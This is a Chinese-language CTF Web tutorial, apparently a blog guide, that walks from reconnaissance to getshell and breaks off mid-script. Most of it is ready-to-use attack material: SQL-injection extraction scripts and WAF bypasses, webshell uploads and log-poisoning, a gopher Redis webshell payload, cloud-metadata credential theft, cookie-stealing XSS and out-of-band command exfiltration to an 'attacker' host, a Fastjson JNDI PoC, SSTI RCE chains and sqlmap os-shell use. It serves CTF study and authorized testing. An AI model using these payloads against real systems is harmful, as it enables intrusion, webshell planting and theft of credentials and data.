CTF Web方向解题全攻略:从信息收集到getshell(附实战payload与脚本)

CTF(Capture The Flag)竞赛是网络安全从业者与爱好者磨炼实战能力的主流形式,其中Web方向因知识面广、技巧组合多变、贴近真实业务场景,一直是参赛人数最多、区分度最高的方向之一。一篇Flag的获取往往不是单点突破,而是从信息收集、漏洞定位、利用链构造到权限维持的完整链条。本文系统梳理CTF Web方向的核心题型、通用Payload、自动化脚本与解题方法论,并配以实战案例,帮助读者建立从"打开题目"到"拿到Flag"的完整思维路径。

**【提示】合规声明:本文所有技术内容、Payload与脚本仅用于CTF竞赛、授权渗透测试与网络安全学习。严禁将文中任何技术用于未授权的目标系统,否则由使用者自行承担一切法律责任。请始终在合法授权范围内进行安全研究。

一、CTF基础与Web题型分类

1.1 CTF竞赛的三种主流形式

CTF竞赛在形式上大体分为三类,不同形式对选手的能力侧重差异明显。

Jeopardy(解题模式) 是目前最普及的形式,题目按方向(Web/Pwn/Reverse/Crypto/Misc/Forensics)分类,每题独立求解,提交Flag即得分。大部分线上练习平台(BUUCTF、CTFHub、NSSCTF)采用此模式。

Attack Defense(攻防模式) 给每支队伍分配相同环境的靶机,既要攻击对手拿Flag,又要修补自身服务防止被攻破。该模式考验漏洞利用速度与防御加固能力,常见于线下总决赛。

King of the Hill(抢占模式) 多支队伍争夺同一台或多台靶机的控制权,守住权限并持续提交Flag得分,强调权限维持与清场能力。

1.2 Web题型分类与难度分级

Web方向题目的考察点高度集中,下表归纳了常见分类、典型考点与难度参考。

题型 典型考点 常见Flag位置 难度参考
SQL注入 UNION、盲注、堆叠、二次注入 数据库flag表/字段 入门~中等
XSS 反射/存储/DOM、CSP绕过、Cookie窃取 Cookie/管理员bot访问记录 入门~中等
SSRF file/gopher/dict协议、内网探测、云元数据 内网服务、云元数据 中等~进阶
文件上传 后缀/MIME/内容绕过、.htaccess、条件竞争 上传后解析执行getshell 入门~中等
文件包含 LFI/RFI、PHP伪协议、日志/Session包含 读取源码或配置中的Flag 中等
反序列化 PHP魔法方法、POP链、phar、Java链 魔法方法触发RCE读Flag 进阶
SSTI Jinja2/Twig/Smarty注入、RCE链 模板渲染上下文中执行命令 中等~进阶
命令注入 分隔符、空格/关键字绕过、通配符 命令执行读取文件 入门~中等
逻辑漏洞 越权、密码找回、支付、验证码、JWT 业务接口返回Flag 中等

难度分级通常参考:题目是否需要组合多个知识点、是否存在WAF或过滤、是否需要源码审计或逆向辅助。入门题一般为单一知识点无过滤;中等题引入过滤或需要绕过;进阶题往往要求构造复杂利用链或结合多个漏洞。

1.3 常见练习平台

平台 特点 适用阶段
BUUCTF 题库庞大、分类清晰、含历年赛事复刻 入门~进阶
CTFHub 技能树结构、按知识点循序渐进 入门
NSSCTF 题目更新快、有赛事专区 入门~中等
攻防世界 经典题多、含新手训练区 入门~中等

【提示】 平台刷题不要只追求数量,建议每道题写一份自己的WriteUp,记录"卡在哪一步、最终Payload、可复用的技巧",这套笔记比刷题数本身更有价值。

二、信息收集与侦察

信息收集是Web题目的第一步,也是区分新手与老手的关键环节。许多题目的Flag或解题线索并不在显眼位置,而藏在源码注释、备份文件、响应头或隐藏接口中。

2.1 前端源码审计

打开题目后第一件事是查看页面源码(浏览器右键查看源代码或Ctrl+U),重点关注以下几类痕迹。

HTML注释中常遗留开发者提示或隐藏字段。

html 复制代码
<!-- TODO: remove test account admin/admin123 -->
<!-- flag is in /flag.txt, but how to read it? -->
<input type="hidden" name="debug" value="0">

隐藏字段 可能控制后端逻辑分支,将debug=0改为debug=1有时会返回调试信息或Flag。

JS文件 是另一座金矿。查看源码中引用的.js文件,用浏览器开发者工具的Sources面板或直接下载审计。常见线索包括:硬编码的API Key、隐藏接口路径、前端校验逻辑(可绕过)、被注释掉的Flag或提示。对压缩混淆的JS,可用jsbeautifier或浏览器Pretty Print格式化后阅读。

2.2 目录扫描与备份文件发现

目录扫描能发现题目未在前端暴露的接口、后台、备份源码。常用工具及命令如下。

bash 复制代码
# dirsearch 字典扫描
python dirsearch.py -u http://target/ -e php,bak,txt,zip,git -t 30

# gobuster 高速目录爆破
gobuster dir -u http://target/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt

# ffuf 模糊测试,支持递归与多扩展名
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,403 -recursion -recursion-depth 2

备份文件是CTF中极高频的线索来源。下表列出常见备份文件类型与发现意义。

备份文件 含义 利用方式
index.php.bak 源码备份 直接下载审计源码逻辑
.index.php.swp / .swap vim异常退出残留 vim -r恢复或直接读源码
.git/ git仓库泄露 GitHackdirsearch提取源码与历史提交
.svn/ svn仓库泄露 svn-extractor提取源码
.DS_Store macOS目录泄露 ds_store_exp解析目录结构
www.zip / backup.sql 整站备份/数据库备份 下载后直接分析

【提示】 git泄露在CTF中出现频率极高。发现.git/目录后,优先用GitHack恢复,再用git log查看历史提交,Flag常藏在某个被"删除"的历史commit中:git log --all; git checkout <commit-hash>

2.3 响应头与robots/sitemap分析

HTTP响应头 常携带关键信息。Server暴露中间件及版本(用于查已知CVE),X-Powered-By暴露后端语言框架(如PHP/7.2、ThinkPHP),自定义头如X-HintFlag可能直接给提示。

robots.txtsitemap.xml是标准约定的爬虫指引文件,CTF中常用于藏目录。

复制代码
User-agent: *
Disallow: /flag_is_here/
Disallow: /admin_backup/

访问被Disallow的路径往往能找到下一步线索。

2.4 CMS指纹识别

若题目使用已知CMS,可直接查对应漏洞库(CVE、Exploit-DB)。识别方式包括:人工比对页面特征(版权信息、特定JS/CSS路径)、使用Wappalyzer浏览器插件、whatweb命令行工具、或在指纹库(如SecLists中的Web指纹字典)中匹配。

bash 复制代码
whatweb http://target/
# 输出示例: WordPress[5.4.1], Apache[2.4.43], PHP[7.2.31]

2.5 信息收集checklist

下表是一份通用信息收集清单,建议每道Web题开始时逐项检查。

检查项 方法/工具 期望产出
页面源码注释 Ctrl+U查看 隐藏字段/提示/账号
引用JS文件 Sources面板 隐藏接口/硬编码凭据
HTTP响应头 Burp/浏览器Network 中间件/框架版本
robots.txt 访问/robots.txt 隐藏目录
sitemap.xml 访问/sitemap.xml 站点结构
目录扫描 dirsearch/ffuf 后台/备份/源码
备份文件 扫.bak/.swp/.git/.zip 源码泄露
CMS指纹 whatweb/Wappalyzer 已知CMS与版本
端口扫描 nmap 额外服务

三、SQL注入CTF题型

SQL注入是Web题目的"常青树",几乎每场CTF都会出现。掌握判断、利用与绕过的完整套路,是Web方向的必修课。

3.1 注入点判断

数字型与字符型 的判断通过闭合方式区分。对参数id=1,依次尝试:

复制代码
id=1'        # 报错→可能为字符型,需闭合单引号
id=1' --+    # 加注释后正常→确认字符型,闭合方式为单引号
id=1 and 1=1 # 正常
id=1 and 1=2 # 异常→数字型注入

常见闭合方式汇总:'"')")'))")),需根据报错信息逐个尝试。

3.2 联合查询注入(UNION)

当页面有回显位时,UNION注入是最快的利用方式。以id=1为例,三步走:

复制代码
# 1. 确定列数
id=1' order by 1 --+
id=1' order by 2 --+
id=1' order by 3 --+    # 报错说明列数为2,回退到2
# 2. 确定回显位
id=-1' union select 1,2 --+
# 3. 在回显位查数据
id=-1' union select 1,database() --+
id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' --+
id=-1' union select 1,group_concat(flag) from flag --+

id=-1的目的是让原查询无结果,从而显示UNION后的数据。

3.3 布尔盲注与脚本

当页面无数据回显,但根据条件真假显示不同内容(如"查询成功"/"查询失败"),可用布尔盲注逐字符猜解。

python 复制代码
import requests

url = "http://target/index.php"
flag = ""
for i in range(1, 100):
    low, high = 32, 127
    while low < high:
        mid = (low + high) // 2
        # ascii(substr((select flag from flag),i,1)) > mid
        payload = f"1' and ascii(substr((select flag from flag),{i},1))>{mid} --+"
        r = requests.get(url, params={"id": payload})
        if "success" in r.text:   # 根据题目真实回显替换关键词
            low = mid + 1
        else:
            high = mid
    if low == 32:
        break
    flag += chr(low)
    print(f"[+] {flag}")
print(f"[*] Flag: {flag}")

二分法将每个字符的猜测次数从95次降到约7次,效率远高于顺序遍历。

3.4 时间盲注与脚本

当页面连布尔差异都没有,只能靠响应时间判断真假时,使用时间盲注。MySQL常用sleep(),SQL Server用WAITFOR DELAY,PostgreSQL用pg_sleep()

python 复制代码
import requests
import time

url = "http://target/index.php"
flag = ""
for i in range(1, 100):
    low, high = 32, 127
    while low < high:
        mid = (low + high) // 2
        payload = f"1' and if(ascii(substr((select flag from flag),{i},1))>{mid},sleep(3),0) --+"
        start = time.time()
        requests.get(url, params={"id": payload})
        elapsed = time.time() - start
        if elapsed > 2.5:
            low = mid + 1
        else:
            high = mid
    if low == 32:
        break
    flag += chr(low)
    print(f"[+] {flag}")
print(f"[*] Flag: {flag}")

【提示】 时间盲注受网络波动影响大,阈值(如2.5s)要明显大于正常响应时间,必要时多取几次或换用benchmark()函数做双重校验。

3.5 堆叠注入与二次注入

堆叠注入 在支持多语句执行的环境(如MySQL的mysqli_multi_query、SQL Server)中可一次执行多条SQL。典型Payload:

复制代码
id=1';show databases;show tables;select * from flag --+
# 经典 bypass:表名被过滤时用反引号或预编译句柄
id=1';select `flag` from `flag` --+
# 列名/表名被过滤时用 handler 代替 select
id=1';handler `flag` open;handler `flag` read first --+

二次注入 指恶意数据先被存入数据库(注册、留言),后在另一处查询中被拼接执行。典型场景:注册用户名admin'#,修改密码时SQL变成UPDATE users SET password='new' WHERE username='admin'#',从而篡改admin密码。识别二次注入的关键是关注"数据写入后是否在某处被无参数化拼接"。

3.6 WAF绕过技巧

绕过维度 被过滤 替代方案
空格 空格 /**/内联注释、%09/%0a/%0b+、括号包裹
关键字 select/union 大小写混写SeLeCt、双写ununionion、内联注释un/**/ion
注释 --、# ;%00空字节截断、构造闭合不依赖注释
等价函数 substr midsubstringleftright
等价函数 ascii ordchar比较
逗号 , substr(x from 1 for 1)joincase when
引号 ' " 十六进制0x666c6167char()
比较符 < > greatest()least()betweenin

内联注释/**/还能承载关键字绕过部分WAF:un/**/ion sel/**/ect 1,2

3.7 sqlmap自动化

bash 复制代码
# 基础检测
sqlmap -u "http://target/index.php?id=1" --batch

# 指定注入点与闭合(POST)
sqlmap -u "http://target/login" --data="user=1&pass=1" -p user --dbms mysql --level 3 --risk 2

# 脱库
sqlmap -u "http://target/index.php?id=1" --dbs --batch
sqlmap -u "http://target/index.php?id=1" -D ctf --tables --batch
sqlmap -u "http://target/index.php?id=1" -D ctf -T flag --dump --batch

# tamper绕过WAF
sqlmap -u "http://target/index.php?id=1" --tamper="space2comment,randomcase" --batch

--level控制测试范围(1-5,越高测越多参数与注入类型),--risk控制危险等级(1-3,3会测OR注入可能破坏数据)。tamper脚本列表可用sqlmap --list-tampers查看。

四、文件上传与文件包含

4.1 文件上传绕过大全

文件上传题的核心是让服务器把我们上传的"马"当作可执行脚本解析。绕过维度分为前端校验、后端校验两大类。

前端校验仅在浏览器JS层检查扩展名,直接用Burp改包后缀或禁用JS即可绕过。

后端校验才是重点,绕过策略如下表。

校验维度 绕过方式
黑名单后缀 .phtml.pht.php3/4/5/7.phps.pht.PhP大小写、.php..php空格.php::$DATA(Windows)
白名单后缀 .htaccess.user.ini间接解析、00截断(PHP<5.3.4)
MIME校验 Burp改Content-Type: image/jpeg
文件头校验 内容前加GIF89a;等合法文件头
内容检测 图片马:copy normal.jpg/b + shell.php/a webshell.jpg
二次渲染 用脚本在图片未被修改区域植入代码(如imagecreatefromjpeg保留区)

.htaccess绕过 :上传一个.htaccess使指定后缀按PHP解析。

复制代码
# .htaccess 内容
AddType application/x-httpd-php .jpg
# 或匹配文件名
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

.user.ini绕过 :适用于Nginx+PHP-FPM/Apache+PHP,上传.user.ini自动包含马。

ini 复制代码
; .user.ini 内容
auto_prepend_file=shell.jpg

上传后访问任意php文件,会自动包含shell.jpg执行其中代码。

4.2 条件竞争上传

服务端先保存临时文件再校验删除时,存在极短的"已上传未删除"窗口。用多线程在窗口内高频访问临时文件触发解析。

python 复制代码
import threading
import requests

url_upload = "http://target/upload.php"
url_shell = "http://target/upload/tmp_shell.php"
shell_content = "<?php file_put_contents('real.php','<?php eval(\$_POST[cmd]);');?>"

def upload():
    while True:
        requests.post(url_upload, files={"file": ("tmp_shell.php", shell_content)})

def trigger():
    while True:
        r = requests.get(url_shell)
        if "ok" in r.text or r.status_code == 200:
            print("[*] race success, shell at real.php")
            return

for _ in range(20): threading.Thread(target=upload).start()
for _ in range(20): threading.Thread(target=trigger).start()

马的内容应是一次性落地逻辑:在被删除前就写出另一个持久化webshell。

4.3 文件包含利用

文件包含题通过include/require/include_once将我们指定的文件作为PHP执行。区分LFI(本地)与RFI(远程,需allow_url_include=On)。

PHP伪协议是CTF文件包含的核心考点。

复制代码
# php://filter 读源码(base64编码避免渲染)
?file=php://filter/read=convert.base64-encode/resource=flag.php
# 解码base64即得源码

# php://input 执行POST数据
?file=php://input
POST: <?php system('cat /flag');?>
(需 allow_url_include=On)

# data:// 执行内联代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

# zip:// / phar:// 压缩包包含
?file=phar://upload/test.zip/shell.php

Session文件包含 :当session.upload_progress.enabled=On(默认开),可上传带恶意文件名的session进度,包含/tmp/sess_<PHPSESSID>触发执行。

日志文件包含:Nginx/Apache访问日志会记录User-Agent,包含日志文件即可让UA中的代码被执行。

复制代码
# 先在UA写入马
User-Agent: <?php eval($_POST[cmd]);?>
# 再包含日志
?file=/var/log/nginx/access.log

【提示】 找不到绝对路径时,配合php://filter先读配置文件(/etc/nginx/nginx.conf/etc/apache2/apache2.conf)确认日志路径,再进行包含。

五、XSS与CSRF题型

5.1 XSS三类与Payload

反射型XSS :输入经URL参数直接回显,http://target/?q=<script>alert(1)</script>

存储型XSS:输入存入数据库并在他人访问时输出,常见于留言板、个人资料。危害最大。

DOM型XSS :输入经前端JS处理后写入DOM,不经过后端,如document.getElementById('x').innerHTML=location.hash

常用Payload集(按绕过层级递进):

html 复制代码
<!-- 基础 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

<!-- 标签/属性绕过 -->
<img src=x:onerror=alert(1)>          <!-- 过滤空格 -->
<script>alert(1)</script>             <!-- 注释分隔 -->
<scr<script>ipt>alert(1)</scr</script>ipt> <!-- 双写绕过 -->
<img src=x onerror="al&#101;rt(1)">   <!-- HTML实体编码 -->

<!-- 事件绕过 -->
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<marquee onstart=alert(1)>

<!-- 编码绕过 -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> <!-- base64 -->
<a href="javascript:alert(1)">click</a>          <!-- 伪协议 -->

5.2 XSS绕过技巧

绕过维度 技巧
<script过滤 换事件标签<img><svg><body>
onerror等事件 换冷门事件ontoggleonstartonfocus
关键字alert confirmpromptwindow['al'+'ert']top['al'+'ert']
括号() 反引号`````执行标签:<img src=x onerror=alert1>
引号 反引号或HTML实体
大小写 <ScRiPt>
编码组合 HTML实体+JS unicode+base64

5.3 CSP绕过

CSP(内容安全策略)通过响应头或<meta>限制脚本来源。常见绕过:

  • script-src 'unsafe-inline':允许内联,直接用<script>
  • script-src 'self':只能加载同源脚本,找同域可控制的JSONP或上传JS文件。
  • 存在CDN白名单:利用CDN上的AngularJS等库做ng-include、模板注入绕过。
  • report-uri:利用报告接口外带数据。
html 复制代码
<!-- 利用白名单CDN的AngularJS -->
<script src="https://cdn.x/angular.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

5.4 Cookie窃取与XSS平台

XSS的实战目的常是窃取Cookie或执行后台操作。窃取Cookie的Payload:

html 复制代码
<img src=x onerror="new Image().src='http://attacker/?c='+document.cookie">
<!-- 或 fetch 外带 -->
<img src=x onerror="fetch('http://attacker/?c='+document.cookie)">

搭建XSS平台(如xss平台、BlueLotus)接收Cookie,配合后台bot模拟管理员访问,触发存储型XSS后即可拿到管理员Cookie,以管理员身份访问后台拿Flag。

5.5 CSRF题型

CSRF(跨站请求伪造)让用户在已登录状态下被诱导发送恶意请求。CTF中常表现为:构造一个HTML页面,当管理员(bot)访问时自动发起敏感操作(如修改密码、添加管理员)。

html 复制代码
<!-- CSRF PoC:自动提交表单修改密码 -->
<form action="http://target/admin/changepass" method="POST">
  <input type="hidden" name="user" value="admin">
  <input type="hidden" name="pass" value="hacked">
</form>
<script>document.forms[0].submit();</script>

将此页面部署在公网可访问地址,提交给题目"报告给管理员"功能,bot访问后即触发。

六、SSRF题型全解

SSRF(服务端请求伪造)让目标服务器代替我们发起请求,常用于探测内网、读取文件、打云元数据。识别利用点:凡是后端会根据用户输入URL去请求的场景(图片代理、网页预览、webhook、导入远程文件)。

6.1 各协议利用

file协议读取本地文件。

复制代码
?url=file:///etc/passwd
?url=file:///flag
?url=file:///proc/self/cwd/flag.php   # 读当前进程工作目录文件

dict协议探测内网端口与服务。

复制代码
?url=dict://127.0.0.1:6379/info       # 探测Redis
?url=dict://127.0.0.1:3306/info       # 探测MySQL

gopher协议打内网服务,可构造完整TCP报文。打Redis写webshell/SSH公钥是经典利用。

复制代码
# 打Redis(无密码)写webshell到/web目录
?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$N%0d%0a<URL编码后的马>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$N%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

http协议扫描内网,结合盲注式端口探测定位存活主机。

6.2 Bypass技巧

后端常对SSRF做过滤,绕过维度如下。

限制 绕过方式
127.0.0.1 0.0.0.0127.1localhost[::1]2130706433(十进制)、0x7f.0x00.0x00.0x01(十六进制)
禁localhost DNS解析到127.0.0.1的域名、localtest.me
限制协议 gopher://http://伪协议、302跳转改写协议
限制内网段 DNS重绑定(rebinding):域名解析TTL=0,首次解析公网IP过校验,二次解析返回内网IP
校验域名白名单 URL的@符号:http://white.com@127.0.0.1,实际访问后者
短链接过滤 302跳转服务跳转到内网

DNS重绑定 原理:控制一个域名解析记录,第一次返回公网IP通过校验,TTL设为0,第二次解析时返回127.0.0.1,服务端二次解析时拿到内网地址。可用rbndr.us、自建DNS服务实现。

6.3 云元数据SSRF

云服务商提供元数据服务,SSRF访问可拿到敏感凭据。

复制代码
# AWS 元数据(旧版)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# 拿到临时AK/SK后用awscli操作S3等

# 阿里云 元数据
?url=http://100.100.100.200/latest/meta-data/
?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/<role>

# GCP
?url=http://metadata.google.internal/computeMetadata/v1/
# 需加请求头 Metadata-Flavor: Google,可通过gopher构造

【提示】 SSRF题拿到元数据临时凭据后,常需用云CLI或SDK进一步操作对象存储、读Flag。AWS元数据SSRF在近年CTF中几乎成标配考点。

七、反序列化题型

7.1 PHP反序列化原理

PHP反序列化通过unserialize()将字符串还原为对象,还原过程中会自动调用对象的魔术方法,攻击点就在这些魔术方法中。

魔术方法 触发时机
__construct 对象创建时
__destruct 对象销毁时(脚本结束/unset
__wakeup unserialize后立即调用
__toString 对象被当作字符串使用(echo/拼接)
__call 调用不存在的方法时
__get 访问不可访问属性时
__set 写入不可访问属性时

构造利用链的核心是:找到一处"入口魔术方法"(如__destruct__wakeup),其内部调用了另一对象的另一魔术方法,层层传递到危险函数(evalsystemfile_get_contentsinclude)。

7.2 POP链构造示例

假设有如下代码:

php 复制代码
class Start { function __destruct(){ echo $this->name; } }       // echo触发__toString
class Show  { function __toString(){ return $this->obj->action(); } } // 调用不存在方法触发__call
class Pwn   { function __call($f,$a){ eval($a[0]); } }            // 最终RCE

构造POP链:Start.destruct -> echo Show -> Show.__toString -> Pwn.action -> Pwn.__call -> eval

php 复制代码
$pwn = new Pwn();
$show = new Show();
$show->obj = $pwn;
$start = new Start();
$start->name = $show;
// Pwn.__call 的 $a[0] 即传入的参数,需控制
$pwn->arg = "system('cat /flag');";   // 根据实际代码控制参数来源
echo serialize($start);

【提示】 __wakeup绕过是高频考点:当序列化字符串中对象属性个数大于真实属性个数时,__wakeup不执行(CVE-2016-7124,PHP<5.6.25/7.0.10)。例如O:4:"User":4:{...}4改成5即可绕过__wakeup

7.3 phar反序列化

phar是PHP的归档格式,其manifest中的metadata会被序列化存储。当文件操作函数(file_existsis_dirfile_get_contentsfopen等)通过phar://协议访问phar文件时,会自动反序列化metadata,从而触发魔术方法,且不受unserialize是否存在限制。

php 复制代码
// 生成恶意phar
@unlink("evil.phar");
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");   // 文件头绕过类型检测
$o = new VulnClass();
$o->cmd = "system('cat /flag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

上传evil.phar(可改后缀为.jpg绕过校验),再触发file_exists("phar://upload/evil.jpg")即可RCE。

7.4 Java反序列化基础

Java反序列化利用ObjectInputStream.readObject()还原对象,危险点在于重写了readObject/readResolve等方法或借助已知链(CommonsCollections、Fastjson、Log4j、Shiro)。CTF中常见Fastjson反序列化(@type指定类自动调用setter)与Shiro rememberMe反序列化(默认AES key可解密构造链)。

复制代码
# Fastjson 1.2.24 典型PoC
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}
# 触发JNDI注入,加载远程恶意类RCE

八、SSTI与命令注入

8.1 模板注入检测

SSTI(服务器端模板注入)发生在用户输入被直接拼入模板渲染上下文。检测Payload需对多模板引擎通用:

复制代码
{{7*7}}       # Jinja2/Twig 返回49
${7*7}       # FreeMarker/Velocity 返回49
<%= 7*7 %>    # ERB 返回49
#{7*7}       # Thymeleaf

{``{7*'7'}}可用于区分Jinja2(返回7777777)与Twig(返回49)。

8.2 Jinja2利用链

Jinja2(Flask)通过__class__等对象属性逐步找到危险函数。

复制代码
# 找基类
''.__class__.__mro__[2]
# 找builtins
''.__class__.__mro__[2].__subclasses__()
# 找到os._wrap_close等可执行命令的类,索引因环境而异
{{[].__class__.__base__.__subclasses__()}}
# 找到后调用popen
{{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['popen']('cat /flag').read()}}
# 万能绕过写法
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')()}}

绕过关键字过滤:

复制代码
# 过滤 . 和 []
{{''|attr('__class__')}}              # attr 过滤器
{{()|attr('\x5f\x5fclass\x5f\x5f')}}  # 十六进制绕过下划线

# 过滤 ()
{% set cmd='cat /flag' %}             # 用print或lipsum等
{{lipsum.__globals__.os.popen(cmd).read()}}

8.3 Twig/Smarty利用

复制代码
# Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
# 或
{{['cat /flag']|filter('system')}}

# Smarty
{php}system('cat /flag');{/php}
{if system('cat /flag')}{/if}

8.4 命令注入

命令注入通过分隔符让目标执行额外命令。

分隔符 作用
; 顺序执行
` `
`
&& 前成功才执行后
& 后台执行
反引号命令替换
$() 命令替换(嵌套友好)

空格绕过

复制代码
cat${IFS}/flag
cat$IFS$9/flag
{cat,/flag}          # 花括号
cat</flag            # 输入重定向
IFS=,;`cat,,,/flag`  # 改IFS

关键字绕过 (如catflag被过滤):

复制代码
# 拼接
a=fl;b=ag;cat /$a$b
# 反斜杠
c\at /fl\ag
# 通配符
cat /fl*            # 匹配flag
/???/??t /???g      # /bin/cat /flag
# 变量
${PATH:0:1}         # 取PATH首字符 /
# base64
echo Y2F0IC9mbGFn|base64 -d|bash

【提示】 命令注入题常禁用回显,可用带外:curl http://attacker/?$(cat /flag),或写文件到web目录再访问。

九、逻辑漏洞与业务安全

逻辑漏洞不依赖技术性缺陷,而是业务流程设计不当,难以用WAF防御,在CTF中考察对业务流的理解。

9.1 越权访问

水平越权 :用户A能访问用户B的同级数据。常见于/api/order/1001直接改ID查他人订单,可用Burp Intruder遍历ID找Flag。

垂直越权 :普通用户能调用管理员接口。常见于前端隐藏管理按钮但后端未校验角色,直接请求/admin/listUser即可。识别方法:注册普通账户后尝试访问登录后跳转的admin路径、或抓包改role=admin

9.2 密码找回逻辑

密码找回题的常见漏洞:找回Token可预测(时间戳MD5)、Token不过期、修改密码步骤可跳过(直接到重置步骤)、Token在响应中返回、短信验证码可爆破(4位数字爆破)。

复制代码
# 抓包发现步骤可跳过
POST /resetpwd
step=3&user=admin&pass=newpass   # 跳过step1验证直接到step3

9.3 支付逻辑

支付题考点:金额可改(传负数或0元)、数量传小数或负数、优惠券重复使用、并发刷余额。典型Payload:把amount=1000改成amount=0.01amount=-1000,或并发多次使用同一优惠券。

9.4 验证码绕过

方式 说明
验证码不刷新 一次获取多次复用
验证码在响应中返回 抓包看Response
验证码可爆破 4位数字爆破10000次
万能验证码 000000或空
客户端校验 删验证码参数或置空

9.5 条件竞争

服务端"查询余额→扣款→发货"非原子操作,并发请求可在余额扣减前多次下单。

python 复制代码
import threading, requests

url = "http://target/buy"
cookies = {"session": "xxx"}
def buy():
    while True:
        r = requests.post(url, cookies=cookies, data={"item":"flag","num":1})
        if "success" in r.text:
            print("[*] race success")

for _ in range(50):
    threading.Thread(target=buy).start()

9.6 JWT伪造

JWT由Header.Payload.Signature三段组成。常见漏洞:

  • alg=none:把算法改为none,删签名段,服务端不验签。

  • 弱密钥:用jwt_toolhashcat爆破签名密钥。

  • 算法混淆:服务端支持RS256与HS256,用公钥当HS256密钥重签。

    alg=none

    header = base64({"alg":"none","typ":"JWT"})
    payload = base64({"role":"admin","user":"x"})
    token = header + "." + payload + "."

【提示】 JWT爆破可用hashcat -m 16500 jwt.txt wordlist.txt,常见弱口令secretkey123456命中率很高。

9.7 会话固定

会话固定指登录前后SessionID不变,攻击者预设一个SessionID给受害者,受害者登录后攻击者用同一ID获得登录态。修复需登录后重置SessionID。CTF中较少直接考,但会话劫持与会话覆盖(修改Cookie中user字段)常见。

十、Miscellaneous与杂项Web

10.1 前端JS逆向

部分Web题核心逻辑在前端JS中,需要逆向分析。常见场景:加密参数生成、签名校验、WebSocket鉴权、限制功能在前端实现。

工具链:Chrome DevTools断点调试、AST Explorer分析混淆代码、AST反混淆脚本。对webpack打包的代码,可在Sources{}格式化后,用关键词(signencrypttoken)定位加密函数,下条件断点观察入参出参。

10.2 WebAssembly

WASM题把核心校验逻辑编译成二进制,难以直接读源码。处理方法:用wabt反编译为WAT文本格式审计,或用Ghidra/IDA加载分析导出函数,结合JS胶水代码定位输入输出。

bash 复制代码
# 反编译
wasm2wat challenge.wasm -o challenge.wat
# 提取导出
 wasm-objdump -x challenge.wasm

10.3 WebSocket通信

WebSocket题目交互走ws://协议,Burp默认抓HTTP,需在Proxy设置中启用WebSocket消息拦截。常见考点:在WebSocket消息中注入SQL/XSS、鉴权字段可伪造、心跳包逻辑可绕。

javascript 复制代码
// 浏览器端直接交互
let ws = new WebSocket("ws://target/ws");
ws.onmessage = e => console.log(e.data);
ws.onopen = () => ws.send(JSON.stringify({action:"getflag",role:"admin"}));

10.4 GraphQL API

GraphQL题暴露/graphql端点,可用内省查询枚举所有类型与字段,找到隐藏的敏感查询。

复制代码
# 内省查询
POST /graphql
{"query":"{__schema{types{name fields{name}}}}"}

# 调用敏感字段
{"query":"{flag{content}}"}

【提示】 GraphQL内省在生产中常被禁用,CTF中若禁用可参考"GraphQL batching"批量发查询或暴力猜字段名。

十一、自动化工具与脚本

11.1 目录扫描工具对比

工具 特点 适用
dirsearch Python、字典全、易扩展 通用
gobuster Go、速度极快 大字典
ffuf 支持模糊多字段、递归 精细化爆破
feroxbuster 递归、自动 深度目录

11.2 sqlmap高级用法

bash 复制代码
# --os-shell 拿到数据库后直连OS命令
sqlmap -u "http://target/?id=1" --os-shell --batch

# --file-read / --file-write 读写文件
sqlmap -u "http://target/?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php

# 配合Burp请求文件
sqlmap -r request.txt -p id --batch --tamper=space2comment

# 二阶注入
sqlmap -r request.txt --second-url="http://target/profile" --second-req="req2.txt"

11.3 Burp Suite Intruder/Repeater

Repeater用于单包调试Payload,是Web题最常用模块。把请求发到Repeater后逐次修改参数观察响应。

Intruder用于批量爆破,四种模式:

  • Sniper:单一变量逐值替换(爆破ID)。
  • Battering ram:多变量同值(用户名密码同字典)。
  • Pitchfork:多变量各自字典并行(用户名+密码对应)。
  • Cluster bomb:多变量全组合(用户名×密码全组合)。

【提示】 Intruder爆破时注意Options中的Grep - Match,设置响应特征字符串可自动标记命中行,配合Options→Redirections处理302跳转。

11.4 Python requests通用脚本

爆破脚本模板:

python 复制代码
import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://target/login"
def login(pwd):
    r = requests.post(url, data={"user":"admin","pass":pwd}, timeout=5)
    if "success" in r.text:
        print(f"[+] FOUND: {pwd}")
        return pwd
    return None

with open("rockyou.txt", encoding="utf-8", errors="ignore") as f:
    pwds = [x.strip() for x in f]
with ThreadPoolExecutor(max_workers=20) as ex:
    list(ex.map(login, pwds))

多字段盲注自动检测:

python 复制代码
import requests
# 列举注入点并自动判断类型
tests = {
    "single_quote": "1'",
